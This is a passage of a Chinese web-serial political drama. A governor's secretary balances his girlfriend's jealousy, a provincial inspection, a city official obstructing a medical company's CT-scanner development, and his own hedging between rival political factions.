坐在木椅上,李承拿起手机,给许梦拍了一张窗外的雪景。 【好美呀,你答应带我去,什么时候能兑现?】 晚间新闻节目录制已经结束,许梦回复消息。 【等我孟放年假,带你来好不好?】李承说。 【好呀。】 这次出差,许梦其实就想跟来。 但想到李承工作忙,没有时间陪她,她也就打消了这个念头。 【我看看你这是在哪?看起来不像住所。】许梦问。 她越来越爱李承,这份爱,也成了依赖和担忧,以及占有欲。 【在雪村遇到了老同学,跟她聊会天。】李承如实说,又给许梦拍过去一张照片。 李承很清楚,让许梦知道自己在见女同学,她一定会吃醋。 但李承并不打算隐瞒。 在一段感情中,就不能有隐瞒,哪怕是为了避免麻烦的善意谎言也不能。 一旦被揭穿,信任将会崩塌。 【怎么没看见你的老同学呢?】许梦问。 【调酒的那个就是。】李承说。 【挺漂亮呀,个子又那么高。】许梦说。 文字是没有温度的,看起来,许梦这番话回复得平平无奇。 可李承却感受到了十足的醋意。 【漂亮吗?不觉得,除了你之外,我现在觉得任何女人都不漂亮。】李承甜言蜜语地回道。 【哼,我还有工作没忙完,就不耽误你约会了。】许梦发来一个噘嘴的表情,说。 【这是我初中的同桌,在这里遇见了,就聊会天,马上就回去了。】李承急忙回道。 但许梦那边,再也没有给他回消息。 李承无奈地收起手机,他知道,许梦那个醋坛子又被打翻了。 “尝尝怎么样?” 赵伟婷将调好的威士忌递给李承,笑着说。 “谢谢。” 李承接过酒,抿了一小口:“味道不错嘛。” “跟我还这么客气,上学那会你吃我零食的时候,可从来没说过谢。” 赵伟婷坐在李承对面,手拖着脸,在粉红色灯光的照耀下,很是诱人。 “哈哈哈....” 李承笑了笑,说:“你在这里工作?” “嗯,这家店就是我的。”赵伟婷说。 “这一年不少赚吧?” 李承看到了价格单,也见识到了里面的火热生意,这肯定是一个赚钱的买卖。 “还行,一年就这三个月赚钱。” 赵伟婷喝了一口酒:“好在轻松,三个月就能赚出来一年的花销。” “怕是几年的花销吧。”李承打趣道。 “我花销大,没你说的那么夸张。”赵伟婷说。 “你这一年租金也不少钱吧?”李承看了看店铺的面积,说。 这里是景区,她的店铺又在主街,租金一定不少。 “房子是自己家的,没成本,别人租的话,我这个店要大几十万。”赵伟婷说。 “可以呀,都把它买下来了。”李承赞叹道。 一年租金几十万,那这个店铺如果出售的话,可能价值近千万。 “你神经呀,我家就是这个村的。”赵伟婷白了李承一眼,说。 听她这么一说,李承才想起来赵伟婷的家就在横河县,黄田镇的一个村。 但他没想到,这个村是雪村。 “你这也算是暴发户了。”李承感叹道。 有些人的发家就是很离谱,可能很多人辛辛苦苦努力一辈子,都抵不上一次拆迁,一次改革。 在雪村发展成旅游区之前,这里不过就是一个偏僻穷困的小乡村。 雪,反而成为了这个村的累赘。 短短十年时间,这里却成为了全国闻名的旅游景区,这里的村民一个个也都迎来了命运的转机。 成为了暴发户。 “算是吧,多亏我爸有远见,在景区开发之前就买了很多套房子。”赵伟婷说。 “这不是你爸有远见,是他有关系。”李承莞尔一笑,耸了耸肩,说。 开发之前囤房,跟拆迁之前囤的,是一个道理。 很多人的命运,就是因为一些政策泄密而遭到不公,这种现象很常见,有利益的地方就有不公。 她爸爸又不是神算子,怎么可能知道这个破村子要开发。 一定是政府内部泄密,让她爸爸知道,才提前以低价囤房子。 “哈哈...” 对此,赵伟婷会心一笑,没有继续说这个话题。 她家里是怎么发家的,她清楚。 “我家还有几个民宿,你们晚上住哪,要不要去我那?”赵伟婷问。 “不了,我们有地方住。”李承说。 “那好吧。” 赵伟婷点了点头:“你现在在哪工作?” “在汉江。”李承道。 “嗯....” 闻言,赵伟婷沉吟了两秒,压低声音问:“你该不会是跟省长一起过来的吧?” 最近,李承在《东江问政》节目上也露过面,说起来也算公众人物了。 但赵伟婷对于新闻并不感兴趣,她宁愿看老年相亲节目,也不会看新闻。 不过,她知道今天省长来雪村视察工作,又想起来李承刚才说要陪领导,突然联想到了一起。 “嗯。”李承点头。 “刚才你身边的那个男人,该不会就是省长吧?”赵伟婷诧异地问。 “嗯,我给他做秘书。”李承如实说。 “上学的时候就觉得你有出息,没想到这么有出息呀,你结婚没?”赵伟婷眨了眨大眼睛。 看着她那副表情,李承笑盈盈地说:“怎么?你要把自己介绍给我呀?” 第130章 恺奥医疗 “我不行,我都结婚了,结婚之前倒是可以考虑。” 赵伟婷嫣然一笑,说:“我有个表妹,在市政府工作,我介绍给你认识认识呀,你俩工作对口,我觉得很般配呢。” “我有女朋友。”李承摇了摇头,拒绝道。 他刚刚也是开赵伟婷一个玩笑,就算赵伟婷把自己介绍给李承,李承也不会同意。 “长什么样?”赵伟婷八卦地问。 “东江问政你看过没?”李承问。 “听说过,没看过。” “这个节目的主持人,就是我女朋友。”李承说。 闻言,赵伟婷立马八卦地拿起手机,翻找起网上的节目切片视频。 “这么漂亮呀,那你肯定看不上我表妹了。”赵伟婷看着手机屏幕,无奈地摇了摇头。 ‘噔噔噔...’ 就在这时,李承的微信铃声响了起来。 拿起手机,是许梦发来的视频。 接通电话,李承笑呵呵地说:“不放心呀,还给我打了视频。” “你跟美女吃饭,我肯定不放心啦。” 许梦故意大着嗓门说话,就是在给赵伟婷听。 她这点小心思,李承是知道的。 “我跟美女吃饭,你还打扰,没有眼力见。”李承玩笑地说。 “那我挂了。” 许梦瞪了李承一眼,生气地嘟起嘴。 “别别别,跟你开个玩笑。”李承见状,连忙解释。 心想自己也是贱,明知道许梦吃醋,还故意惹她。 就在这时,赵伟婷也走到了李承旁边,伸着脑袋去看许梦。 上学的时候她就八卦,现在还是老样子。 为了打消许梦的疑虑,同时也满足赵伟婷的好奇心,李承直接将屏幕面向赵伟婷。 “嗨,你好,我是李承的初中同学。”赵伟婷见镜头转过来,大大方方地跟许梦打了一个招呼。 对方主动打招呼,许梦当然也会笑脸回应:“你好,我是她的女朋友。” “嗯,我知道,刚才李承还跟我提到你了,不对,应该用炫耀来形容更贴切,哈哈哈。” 赵伟婷笑着说。 李承的解释在许梦那里苍白无力,但赵伟婷的一席话,直接打消了许梦的所有疑虑,还逗得许梦格外开心。 “他不说我坏话就不错了。”许梦玩笑回道。 “那没有,她说你又温柔,又体贴,说他能遇到你是福气。”赵伟婷信口胡诌。 这些话李承从来没有说过,但赵伟婷作为女人,最懂女人想要听到什么。 “是吗?算他有良心。” 见两个女人聊得这么开心,李承干脆直接把手机递给了赵伟婷。 赵伟婷上学的时候就属于自来熟,几句话的工夫,就跟许梦聊得火热。 还邀请许梦到雪乡做客。 许梦也说自己很想去玩,两个人还约定好了时间。 看着这一幕,李承觉得自己更像是局外人。 ...... 次日一早,孟良德的视察团队就赶往了下一座城市。 因为下周一京城要召开一个重要会议,所以,视察的进度也被迫提速。 有时候,一天的时间就要赶赴两到三座城市。 视察是有规划的。 这次视察的主题就是经济发展,视察的目标,也都是当地的支柱性产业。 因为赶时间,所以周六周日孟良德也不休息,继续视察工作。 省长不休息,下面的人再苦再累也不敢吭声,只能陪同。 周天,车队抵达本次视察工作的最后一座城市,容城市。 容城市是东江省的第二大城市。 常驻人口八百余万,去年GDP突破万亿元大关,是东江省的科技新城。 容城市的高精端企业,比省城汉江还要多。 孟良德通知过不许迎接,又赶上周末,当车队抵达容城市时,竟真没有迎接队伍。 领导的心思是难以揣测的。 明明亲自下令取消迎接仪式,可当看见高速口空无一人时,孟良德的眼神还是沉闷了几分。 “直接去恺奥医疗。”孟良德的吩咐道。 接到他的命令,李承通知了头车改变方向。 恺奥医疗在整个董江省都算得上支柱企业,其自主研发的质子重离子放疗系统,血液透析机等设备打破进口依赖,正在攻占国内市场,并进行海外销售。 汽车抵达恺奥医疗时,接到消息公司高层已经等候在大门口。 “孟省长,好久不见。” 孟良德刚下车,恺奥医疗董事长石山水热情地迎了上来,跟孟良德握手。 “石总还是这么意气风发啊,哈哈哈。”孟良德跟石山水握了握手,笑呵呵的道。 两个人简单的寒暄,让李承看出了门道。 孟良德在工作上是一个不苟言笑的人,他能这么亲切跟一个公司董事长打招呼,就证明他们是旧相识,应该关系还不错。 寒暄两句后,石山水又跟其他省里的领导一一握手后,一行人进入公司内部,进行视察工作。 从各个生产车间,再到设备介绍,以及销售渠道等各个问题,石山水详细地对省领导们做出汇报。 这一套流程下来,已经接近三个小时。 可在这三个小时里,容城市的领导班子却没见踪影。 如果说,他们没来迎接领导是响应孟良德的号召,可三个小时不见人影,就有点说不过去了。 虽说是周末,可省长都在加班加点的工作视察,他们这些做下属的,怎敢怠慢? 李承觉得,这里面不简单。 视察一圈结束,市领导班子才姗姗来迟。 “孟省长,不好意思,昨天我们市领导班子集体下乡考察,遇到大雪没赶回来,耽搁了时间。” 市委书记李宽快步走到孟良德面前,主动伸出手。 解释着他们为何姗姗来迟的原因。 这种借口,无非就是一句场面上的台阶,不至于让彼此太难堪。 别说孟良德不会信,就连李承也不信。 省长的视察车队从几百公里外都赶到了,他们就在下属县镇,就算走也走回来了。 而他们,却足足延迟了三个小时才来,这是什么意思? 这是不拿孟良德以及整个视察团队放在眼里?还是一种下马威呀? 容城市领导班子的这种行为,李承前所未见。 只有领导故意拖延时间让下属等的,他还没见过下属故意拖延时间,不给领导面子的。 第131章 叫停 能成为一座城市的权力核心,这群人,没有傻子。 他们敢故意延迟时间,就说明有恃无恐,其中很大概率是涉及政治立场问题。 “你们市里的同志,可以回去休息了,没必要折腾来这一趟。” 孟良德只是礼貌地跟市委书记李宽握了一下手,冷声说。 他显然对这群人的行为极其不满。 “陪同领导视察工作,是我们的职责所在。”李宽也看出来孟良德的不悦,但他压根没有多解释。 只是用一句客套话来敷衍。 “视察工作结束了。” 孟良德淡淡地说完,直接转过头,不再理会。 “孟省长,中午要不就在我们公司食堂吃饭吧?”石山水邀请道。 他是了解孟良德的,知道孟良德不喝酒,也不喜欢参与那种大费周章的接待宴。 食堂接地气,又能体现员工待遇,刚好适合,何况,他们的食堂不比外面的饭店差。 而且,视察完这里的工作,下午还要赶回汉江。 孟良德需要乘坐今晚的飞机赶回京城,参与周一的会议。 “好。” 孟良德欣然接受。 在石山水的引路下,一行人赶往了恺奥医疗的食堂。 作为一家大公司,这里的食堂与那些小厂的食堂有天差地别的区别。 “为了保证员工的健康饮食和口味,我们这里的主厨,都是拿到国家高级技师证书的。” 石山水亲自给每人分配餐盘,对孟良德等省领导做出介绍。 恺奥医药有三个食堂,普通的基层员工一个食堂,公司管理层一个食堂,还有就是那些顶级技术科研人员一个食堂。 而石山水带众人来的食堂,就是科研人员的食堂。 这里的饭菜更加丰盛,注重营养搭配和口味,环境也是最好的。 为满足不同地区科研人员的口味与习惯,也有多种的特色菜肴。 咖啡机,饮料机,小吃甜点,水果,应有尽有。 “石总,你这食堂标准够高了啊。” 孟良德选好饭菜,笑呵呵地对石山水道。 李承也端着餐盘,陪同在首长身边。 这里的饭菜标准,完全不逊色外面的大饭店,而且用料更健康,放心。 也怪不得石山水会推荐食堂用餐。 “这是科研人员的食堂,这些顶尖人才是我们公司的宝贝,当然要给最好的待遇。 要不是孟省长和几位领导来,我平时都不到这个食堂用餐,哈哈哈。”石山水笑呵呵说。 对于这种创新研发型公司,那些科研人员才是公司的命脉。 领导层不合格可以换。 但这些科研人员的不可替代性极其高,自然要给最好的待遇。 中午,孟良德,李承等人在食堂用餐。 市领导班子也没有离开,跟着一同在食堂内吃饭。 对于他们,孟良德选择了直接无视。 吃过饭,孟良德单独将石山水叫到了办公室。 作为省长的专职秘书,李承是唯一有特权参与到这次闭门会谈中的人。 当然,这份特权,不仅仅来自于他的秘书身份,最重要的一点,是他得到了孟良德的信任。 “李秘书你也坐。” 孟良德坐在位置上,对李承吩咐了一声。 “好。” 李承微微点头,坐了下来。 “老石,李秘书不是外人,有什么话你可以直接讲。”孟良德给石山水递了一根香烟,说。 李承知道,接下来两个人要谈的话题很机密,所以,孟良德才强调了李承的可信任性。 “老孟,这个李宽实在太过分了,他在将我往绝路上逼。” 石山水脸上的笑容不见,变成一抹凝重的阴沉。 孟良德称呼他为老石,或许只是为了喊得亲切。 但石山水敢称呼孟良德为老孟,就证明两个人的关系,远远超出想象的亲近。 “具体说说。”孟良德道。 “唉...” 石山水吸了一口烟,先是长长叹了口气:“国内256排及以上的高端CT机一直依赖于进口。 因为技术垄断,国外销售的价格十分高昂,其中每台高端CT机,就有近千万的溢价来自于垄断费用。 这几年,我们公司投入十几个亿进行产品研发,励志于攻破技术壁垒。 终于,在去年十月份,产品即将研发成功。 公司也准备向各部门申请审批上市时,可李宽却以生产环境不达标,质量管理体系不健全等一些列理由对研发进行叫停。” 石山水弹了弹烟灰,愤愤不平地说。 对于一家公司,尤其是一家上市公司来说,这种危害极其大,远远不是耽搁时间这么简单。 不能投入生产,就不能快速回笼资金,加大了现金流断裂的可能性。 最重要的是,这种被官方叫停,很容易引起股民的恐慌抛售,产生股价的动荡,其影响是复杂多面的。 “他要干什么!” 孟良德闻言,眼神愤怒。 恺奥医药如果能研发出256排高端CT机,市里也是有很多利好的,不仅可以获得荣誉,产品投入市场还能获得更高额的税收。 按理说,政府部门应该大力支持。 可容城市的领导班子却反其道而行,想法设法地阻止,其中一定另有目的。 “李宽让我跟容城医药合作开设一个新公司,将CT机的生产线投入到新公司里,不然就不让继续研发。” 石山水说出了原因。 恺奥医药投入巨大,辛辛苦苦攻坚下来的技术壁垒,到了收获时,却要与另一家公司一起分享果实,换做谁也不会同意。 而研发一旦成功,像这种三级医疗设备的上市审批,就不需要通过市里,李宽再想阻止将变得困难。 所以,他选择在研发成功之前,进行阻挠干涉。 “容城医疗有国资背景?”孟良德问。 这个问题很关键。 如果说,容城医药有国资背景,李宽的行为,还可以强行辩解成为城市发展做考虑。 但如果这个容城医药只是一家私企,那么,问题就严重了! “私企。” 石山水给出了答复。 听到这个消息,李承知道,李宽肯定是要倒大霉了。 但想要绊倒李宽,也是一件很困难的事情,毕竟对方敢三个小时不露面,一定有政治背景。 这个政治背景,很可能就是孟良德的对立面。 第132章 叫停研发 “上次你电话跟我说到此事,我还以为是小问题,没想到这么严重,差点耽误了你公司的发展。” 孟良德熄灭香烟,语气中带着些许歉意:“我是真没想到他们胆子这么大!” 石山水的恺奥医疗是一家上市公司。 对于这种大集团的董事长,即便是省长,也要给他几分薄面,维护好关系。 很多领导调任,去了新的地区开展工作,都能带走一些当地的企业家,巩固政绩。 这些企业家是领导的政治资源,而企业家也愿意跟随熟悉的领导步伐,谋取更大的利益。 这是一种政治互惠。 孟良德十年前曾担任过东江省民泰市的市委书记,那个时候,石山水的公司在医疗行业也有所起色,两人打下关系基础。 后来,孟良德调去青州省当副省长,本想带上石山水,但石山水没有答应。 而是选择搬到了容城市,因为当时容城市对医疗企业的扶持力度很大,容城能给到的政策,青州省给不到。 即便如此,两个人的联系也没断过。 “上次是我说的太模糊。”石山水微微摇了摇头,孟良德身为省长能用这种态度对他讲话,他已经觉得很荣幸了。 又怎么会挑理。 何况孟良德日理万机,上次电话汇报石山水又说的含糊其辞,孟良德没过多重视也正常不过。 可李承很清楚孟良德对待工作的态度。 对于任何汇报,尤其是事关经济、民生、安全的问题,他会格外重视。 不可能会忽视。 何况还是老友的请求电话。 李承觉得,孟良德拖到现在才来询问,其中定有玄机。 “正好李宽也在,一起去看看CT机的生产线。”孟良德站起身,朝外走。 在临出办公室之前,孟良德对石山水嘱咐了一句:“老石,等下你可以畅所欲言,不用怕得罪人,想说什么就可以说什么。” “明白。”石山水会意,点头答应。 走出办公室,三人来到了政府人员休息的区域。 容城市委书记李宽表情严肃,坐在那里,像是在思索着什么。 孟良德与石山水闭门谈话,他很清楚,谈话内容会与CT机的研发有关,他也做好了被孟良德问责的准备。 虽说,孟良德之前提出让市领导班子回去,但他压根不敢走。 他们迟到,勉强可以用下乡视察,下雪封路作为理由。 可在不跟省长打招呼的情况下,直接离开,那就等于直接撕破了那层窗户纸,把不重视领导体现在明面上。 “各位领导,省长现在要去视察CT机的研发和生产线。” 李承向各位领导打了招呼,示意他们跟随。 听到李承的声音,大家纷纷起身,跟随而来。 李宽和市长钱广相视一眼后,带领着容城的领导班子,跟随在队伍后方。 正常情况下,市委书记和市长作为这座城市的主要领导,他们应该陪同在孟良德身边,为省长介绍工作。 可他们却没有,而是躲在后面,仿佛这次过来就是走个过场。 “李宽同志。” 进入生产线,孟良德转了一圈后,朗声说道。 “孟省长。” 李宽被叫住名字,快步走到孟良德的身边。 “你跟我讲一讲,CT机的研发,到底是哪里不合格,我视察了这么久,并没有看出来任何问题。” 孟良德语气平静的询问。 他的声音在这个静谧的研发室里掷地有声,清晰的传入在场所有人耳中。 “嗯...主要问题生产环境不达标,质量管理体系不健全上。”李宽硬着头皮,说。 这些问题,是他卡石山水时的说辞,概念很笼统。 面对孟良德的询问,他只能照搬出来。 “具体问题在哪,哪里不达标,哪里不健全?”孟良德态度严肃,追问下去。 “这个是监管部门给出的答案,具体我需要询问。”李宽也说不出个所以然,只能用拖延战术。 达不达标,健不健全,他很清楚。 可他不能当着孟良德和众多省政府领导的面说实话,只能敷衍回答。 “恺奥医疗是整个省里的重点企业,他们研发的高端CT机更是打破国外垄断市场的利器。 作为市一把手,你连最基本的问题在哪里都搞不清楚,就敢叫停研发,这就是你工作的态度吗?” 孟良德严厉呵斥道。 当着众人的面,丝毫不给李宽半点面子。 “孟省长,我的专业不是医疗,所以,我更相信专业监管部门的汇报,医疗设备事关百姓健康,任何纰漏都是对患者健康的不负责。 我也是响应国家政策,对医药行业进行严格监管。 恺奥医疗是支柱产业,所以,我更要严苛监管,企业家考虑的向来都是金钱利益,我认为,政府部门更应该擦亮眼睛,不能因为产业的规模和税收,而懈怠管理。” 面对孟良德的斥责,李宽言辞凿凿的给予回击。 他先是撇清自己的关系,又强调自己是对工作的负责,算是把孟良德的质问全部接住。 “都说李宽同志擅长诡辩,我今天也领教到了。”孟良德意味深长的笑了笑。 在他的笑容下,杨兆华,副省长谢威也露出了附和的笑容。 这是一种对于李宽狡辩的讥讽笑意。 “石总,你对于李书记的认真负责,有什么想说的吗?”孟良德问。 刚刚在办公室,孟良德让石山水接下来可以畅所欲言。 李承知道,孟良德现在准备让石山水登场,去用真相反驳李宽。 “说实话,我不太明白李书记的认真负责是什么意思,更不懂,为什么我们恺奥医疗的研发不达标,可只要答应跟容城医疗合作,研发投产就能达标。 不是我贬低容城医疗,但它从各个方面,都与我们恺奥不是一个档次。” 石山水对于李宽有一肚子怨气,现在孟良德在,他也就畅所欲言,直接掀牌。 “石总,您这话什么意思,我怎么听不懂?”李宽眉头紧皱,装傻充愣的反问。 “李书记,您的秘书三番五次找过我,说只要答应跟容城医疗合作,就能让CT机投产,这事您应该不会不知情吧?” 第133章 结束 李宽作为市委书记,任何的脏事,丑事,他不可能亲自去做。 而是会吩咐手下信得过的人去。 这样,一旦出事了,他也可以把所有责任撇清,不至于被牵扯其中。 这是一道护城河,每一位贪污受贿的领导都有。 “我不知道。” 面对石山水的‘掀桌子’,李宽直接摇头,表示自己不知情。 “您秘书还说,在这座城市,您想让我们的产品投产就能投产,您不想,我们的研发就只能打水漂。” 石山水继续道。 的确,市委书记有这个权利,市里想要找茬,就有千百种理由。 作为容城一把手,他说哪个企业行,这个企业不行也行,他说哪个企业不行,这个企业行也不行。 “岂有此理,我从来没有说过这种话。” 李宽表现出愤怒的神色,对孟良德和石山水说:“孟省长,石总,我一定会查明真相。” 说着,他拿出手机给秘书打去电话。 打了很久都没有拨通。 “今天是休息日,他回老家探亲了,没接电话,但这件事我一定会查个水落石出。” 李宽收起手机,对孟良德说。 这一切,都是他的表演。 他今天特意没有把秘书带在身边,而是让他休息,就是猜到这种情况可能会发生。 他也知道,孟良德明天还要去京城开会,时间有限。 以周末休息为借口,只要拖到孟良德离开,一切也就好办。 “李宽同志,哪个部门说这里的研发不合格,你把他叫过来,让他亲自给我解释到底哪里有问题!” 孟良德知道对方是在演戏,但也没办法拆穿。 只好回归正题。 “好。” 李宽点头,吩咐下属传达了孟良德的要求。 那名下属离开了研发室,大概两分钟后,对方无奈的走了回来,做出汇报:“孟省长,李书记,今天休息,他们人都在外地,现在往回赶,最快也要晚上九点多才能到。” 闻言,孟良德的眼神阴沉了下来。 这些人的表演双簧成分,过于拙劣。 很明显是笃定今晚孟良德要回京城,不会停留过长时间。 “不是电话打不通,就是回不来,很巧合呀。”孟良德冷声说。 言下之意,就是表明这群人是被人指使,故意不来。 “唉,没办法,今天是周末。” 李宽装出听不懂的样子,回答道。 “没关系,我就不信他们会一直失联。” 孟良德点了点头,目光看向副省长谢威:“谢威同志,接下来就辛苦你在容城多出差几天,务必要将所有问题查明。” “好的。”谢威答应。 谢威是孟良德派系的副省长,他较为放心。 “益华同志,你也留下来配合吧,我会跟洪波书记说明情况。”孟良德想了想,又道。 “好的孟省长。” 张益华的身份是省委秘书二处的处长,隶属于省委派系。 这次考察,很多工作需要跟省委衔接,张益华作为随行人员,主要负责公文记录和对接各地市委。 听到孟良德的安排后,李宽的脸色变得很难看。 可他却不敢多言。 而李承也对孟良德的安排大为赞叹,在孟良德身边,他确实有很多东西需要学习。 尤其是在剖析这次安排的本质后,他再次收获了很多经验。 这些经验是别人靠说教不会的,得亲身领会。 孟良德将张益华留下来,这其中的门道就很深了。 别看张益华只是一个秘书处的处长,级别不高,在与谢威接下来携手的工作里,基本也是个附属品,没什么说话的权力。 但他的作用,却是关键要素。 孟良德毕竟是空降派,他不敢保证谢威百分百的忠心于他,不会背地里搞小动作,安排一个省委的人进去,可以进行牵制。 其次,在东江省的政治派系中,一共有三方派系。 孟良德拿不准李宽隶属于哪一派系,但无论他的背后是谁,双重部门的监察下,李宽很难办。 至少,短时间内,他没有办法解决,调查速度,不会给李宽太多时间。 还有最重要的一点,孟良德需要用省委的人,向马洪波传达容城市的实际情况。 这样,省长和省委书记可以更快达成共识,利于解决掉李宽。 这几点,就是李承能看到的。 李承知道,自己看得到或许还只是表面,但他的政治斗争经验有限,也只能想到这些。 ...... 视察这一个星期,基本都在路程上。 为了赶进度,就连周末也没有休息,回到汉江已经是傍晚六点多。 送孟良德去了机场,李承这才回到家。 “老公,你可算回来了。” 看到李承进门,许梦欣喜若狂,小跑的扑进了李承的怀里。 “想我了?”李承抱着许梦,感受她的温暖,嗅着她身上久违的淡淡香气。 “想,非常想。” 许梦在李承的唇上吻了一下:“你再不回来,我都要枯萎了。” “那看来要好好滋润滋润你了,哈哈哈。” 李承直接将许梦用公主抱姿势抱了起来,走进屋内。 一番翻云覆雨后,李承疲倦的躺在床上。 “这几天累坏了,今天就不为难你了,只要这一次吧,明天你好好补偿我。”许梦心满意足的躺在李承怀里,柔声说。 “这几天确实累了。” 这一周折腾下来,李承的精气神都感觉被耗尽了。 原本十天的出行计划,硬生生压缩到一个星期,这压缩出来的三天时间,大部分都是从休息里挤出来了。 这次考察,最累的人莫属李承了。 孟良德,谢威,杨兆华等人还能在路程中休息。 其余的随行人员,休息时间更是一大把,但李承不行,他只能打煎熬战。 不仅要全程陪同首长工作,还要随时为突发事件做准备。 “有什么想吃的吗?我去给你做。”许梦说。 “别折腾了,晚上点外卖吧,我想抱着你睡一会。”李承紧紧抱着许梦,把腿压在她滑嫩修长的美腿上。 这种姿势睡觉,李承最有安全感,也最舒服。 许梦轻轻拍着李承,看着这个男人沉沉睡在自己怀里,格外心安。 第134章 两条路 一觉睡醒已经是晚上十点多。 睁开眼睛,看到许梦躺在自己的身边看手机,这种爱人陪伴的感觉,很幸福。 “你醒了?” “嗯。” 看到李承睡醒,许梦甜甜一笑:“饿了吧,我点了饺子,一会就送到了。” “好。” 李承将许梦再次搂紧怀里,他拿起手机,准备看一眼手机。 “你那个小徒弟,又给你发消息了。”许梦不咸不淡的说。 她对陈思琪的敌意,甚至超过了秦虹。 对秦虹这位初恋女友,许梦更多的醋意,因为她知道,秦虹对待李承也有一片真心。 但对陈思琪,是完完全全的敌意与讨厌。 因为陈思琪不仅勾引过李承,想靠着李承上位。 还曾出卖过李承,忘恩负义。 “说什么了?”李承随口问道。 “闲聊呗。”许梦道。 为了让许梦有安全感,他的手机密码告诉给了许梦。 手机的内容并没有什么不可告人的。 事关工作问题,也向来不会在微信沟通,都是电话联系。 打开手机,上面有一条陈思琪的微信:【师父,你猜我在酒吧看见谁了?】 自从上次李承严肃的说,不再跟陈思琪联系后,对方也再没找过他。 但却并未拉黑微信。 毕竟,孟良德主管审计部门,保不准会有工作上的交流,拉黑行为太幼稚。 消息是十分钟前发来的,李承看过后,直接关闭了手机屏幕,并未理会。 除工作上的事情,李承不想与他有任何交集。 ‘咚咚咚...’ 这时,门外响起了敲门声。 “应该是外卖到了。”许梦说着,准备起身去取。 “我来取吧。” 李承套上睡衣,快步打开房门,接过外卖。 两个人坐在客厅,许梦调出一个电视节目,两个人边看边吃。 ‘噔’ 正享受两人的悠闲时光时,微信再次提示。 还是陈思琪发来的消息。 “她烦不烦。” 许梦看到是提示框是陈思琪,柳眉皱起。 “不管她。”李承没有去看具体消息,继续吃饭。 但出于女人的警惕,许梦还是打开了李承的手机,想要一探究竟。 虽说,她直接烧掉了那些照片,并没有看。 对此事,她心里一直是有个结的。 陈思琪不出现的时候,她想不起来,只要提到陈思琪这号人物,这件事就会出现在她的脑海中。 许梦打开李承的手机,点进去了聊天。 许梦在看到陈思琪发来的内容时,递给李承:“你还是看看吧。” “哦。” 李承应了一声,接过手机,在看到笑容时,表情凝重起来。 筷子也放下了。 这是一张照片,拍摄在一个酒吧内。 这个酒吧的环境设施李承有些眼熟,但这并不是关注的重点。 重点在于照片中的几个人。 陈思琪属于的偷拍的,用了长焦,所以照片中的人像看起来很糊。 李承从样貌轮廓看,是杨兆华。 在将图片放大后,更加确认,那个人是就是杨兆华。 坐在他身边的有赵金福,还有上次拿照片威胁李承的花海集团总经理,毕阳。 李承的好心情一瞬间就低落了。 如果说上次是偶然,这次呢? 花海集团和赵金福,那都是孟良德的眼中钉,可偏偏杨兆华跟他们的坐在一起。 “这个酒吧,是不是你上次带我去的那个?”李承将照片给许梦看,问。 “对。”许梦点头。 黄河夜总会,那是专门服务于高档人士的娱乐场所。 进入那里需要会员卡。 普通人根本无法进入,只有领导要员,以及顶级富豪才有资格。 ‘噔’ 正在李承思考时,这张图片被撤回了。 “看来她拍照被发现。” 许梦也看到了撤回消息,说。 那种地方,涉及到领导的隐私,自然是不允许拍照的。 “话说,这个陈思琪是怎么进去的?”许梦疑惑的道。 “不知道。”李承随口回答。 他不在乎陈思琪是怎么进入这家夜总会的,他在意的是杨兆华。 “上次你为什么要带我去这家夜总会?”李承问。 “嗯....” 说到这件事,许梦犹豫了两秒,笑了:“想着你是孟省长的秘书,如果孟省长可以整顿这家酒吧的话,将是一条热点新闻。” 许梦很直接,将当初她的目的说了出来。 “我承认,当初有点小心思,但我现在对你是真的。”许梦解释。 “嗯,我知道。” 李承不在意当初许梦是否带有目的,她现在的真心实意,李承是能感受到的。 其他,不重要。 心里觉得不重要,却也还会有些落寞。 因为他想起了前几日柳思瑶跟汪浩轩吵架时说的那句话:秦虹是在李承一无所有时陪在他身边的,如果李承不是现在的省长秘书,许梦会接近他吗? 答案就很明显了,不会。 可人又怎么会事事顺利,十全十美呢。 现在是真心相爱,那就足够了。 “你还有这家夜总会的会员卡吗?”李承问。 他很想去跟杨兆华假装偶遇一下,也算是给杨兆华提个醒,让他知道悬崖勒马。 “没有,那是借的。” 许梦摇头,提出建议:“陈锋认识你,你联系一下他,肯定可以进去的。” 李承并没有陈锋的联系方式,他旗下那么多生意,又不会一直在夜总会。 难不成自爆身份,让陈锋的手下人联系? 那简直太愚蠢,太掉价了。 省长秘书去夜总会消费,还要靠身份进门,传出去,李承会沦为笑柄。 还有一种方式,就是通过陈思琪进入夜总会。 可那样做,丢人不说,对方还不一定会帮。 就算帮忙了,许梦也会因为这件事生闷气。 想来想去,李承还是决定算了。 “算了,不去了,这件事你也要当做不知情。”李承对许梦说。 “嗯,我知道。”许梦点头。 李承本来还想给杨兆华发条消息,提醒一下。 可想来想去,也没有发。 作为孟良德的秘书,他的立场是坚定站在省长这一边的,荣辱与共。 但作为一名政治人员,理智告诉他,这件事最好不要参与。 究其原因也很简单,那就是他跟杨兆华的特殊关系。 鸡蛋不能放在同一个篮子里。 如果最终的结果是孟良德斗不过他的政敌,杨兆华或许可以成为李承的一条后路.... 第135章 试探 孟良德如果在东江省的政治斗争中失败了,并不会对他个人造成太大影响。 一位‘根正苗红’的正部级干部,家里又在京城。 离开东江省,他调去任何地方,依旧是大领导。 可李承呢? 国家有规定,干部调任,司机和秘书不能随同。 这就意味着,孟良德如果在这场政治斗争中失利,李承将失去自己最大的靠山。 失去省长秘书这个身份,又跟着孟良德得罪那么多本地派领导,他一个副处长会有什么好下场? 坐在省长秘书的位置上,别人会敬他这位副处长。 离开省长秘书的光环,在那些人眼里,他这个级别,屁都不是。 所以,从个人的角度上讲。 杨兆华跟那群人在一起,对李承是有好处的。 这样,就算孟良德的政治斗争失败,依靠李承和杨兆华的交情,他的下场不会太惨。 所以,李承思考再三,决定置之不理,当做没看见。 不过,这也有一个前提,就是李承知道杨兆华与花海集团往来的事情不能泄露。 一旦泄露,他就必须做出选择。 否则就会落得个两面派的下场,两头不得好,被两方猜忌。 如果到了做选择的时间,他的选择也只有一个,那就是孟良德。 吃过晚饭。 两个人洗漱过后,躺在床上。 李承的脑袋里,仍在思索着关于杨兆华的事情。 “老公,你刚才睡了那么久,养足精神了吗?” 许梦凑到李承面前,纤纤玉手抚摸着李承的脸颊。 “养足了。” 李承甩开那些烦恼,直接朝着许梦吻了过去。 许梦躲闪开李承的吻,把身体转了过去,将洁白的背部漏给李承:“你休息好了,我困了,睡啦,晚安。” 李承没有多余的废话,直接将许梦拉到自己的怀里,一个翻身压在了她的身上,轻咬住她的耳朵:“可以睡,但不能睡觉。” ...... 次日。 